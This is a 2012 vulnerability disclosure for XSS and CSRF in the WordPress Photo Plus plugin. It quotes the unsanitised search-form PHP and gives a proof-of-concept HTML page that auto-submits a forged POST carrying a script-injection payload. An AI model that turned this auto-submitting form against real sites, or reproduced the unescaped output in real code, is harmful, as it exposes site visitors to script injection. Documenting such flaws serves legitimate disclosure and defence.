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WordPress Photo Plus / Photo Search XSS / CSRF

WordPress Photo Plus / Photo Search XSS / CSRF
Posted Dec 30, 2012
Authored by Keith Makan

WordPress Photo Plus / Photo Search version 4.8.11 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
MD5 | d85fb98889a90b8d0f4f7545914c3b24

WordPress Photo Plus / Photo Search XSS / CSRF

Change Mirror Download
# Exploit Title: Word Press Photo Plus, Photo Search XSS/CSRF Vulnerability
# Google Dork:
# Date: 29/12/12
# Exploit Author: k3170makan
# Vendor Homepage: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Software Link: http://wordpress.org/extend/plugins/wp-photo-album-plus/
# Version: 4.8.11
# Tested on: Ubuntu 10.04
Word Press Photo Plus plugin suffers from a XSS/CSRF via Vulnerability in
the "Search Photos" function

Code:
extract from wp-photo-album-plus.php, in widget function
--------------------------------------------------------------------------------------------------------------------------------
42 <form id="wppa_searchform" action="<?php echo($pagelink) ?>"
method="post" class="widget_search">
43 <div>
44 <?php echo $instance['label'] ?>
45 <input type="text" name="wppa-searchstring" id="wppa_s"
value="<?php echo $wppa[ 'searchstring'] ?>" />
46 <input id = "wppa_searchsubmit" type="submit"
value="<?php _e('Search', 'wppa'); ?>" />
47 </div>
---------------------------------------------------------------------------------------------------------------------------------
The above code fails to sanitize the $wppa['searchstring'] variable,
allowing attacks to inject harmfull HTML elements and JavaScript code.
Submissions to this form can also be made from any domain, which actually
aids in the exploitation of the vulnerability thus this is classified as a
CSRF Vulnerability

Exploit Code:
The exploit requires an attacker to forge a post request to this form, this
can be done by using the following html page
--------------------------------------------------------------------------------------------------------------------------------
1 <html>
2 <body onload="xss()">
3 <form name="f" id="wppa_searchform" action="http://[domain name]/[photo
search page path]" method="post" class="widget_search">
4 <input type="text" name="wppa-searchstring" id="wppa_s"
value='"><script>alert(1);</script><textarea>'>
5 <input name="s" id="wppa_searchsubmit" type="submit" value="Search">
6 </form>
7 <script>
8 function xss(){
9 document.f.s.click();
10 }
11 </script>
12 <body>
13 <html>
--------------------------------------------------------------------------------------------------------------------------------
[photo search page path] can be obtained by reading the path set in the
original photo search form attributes
--
<Keith k3170makan <http://about.me/k3170makan> Makan/>

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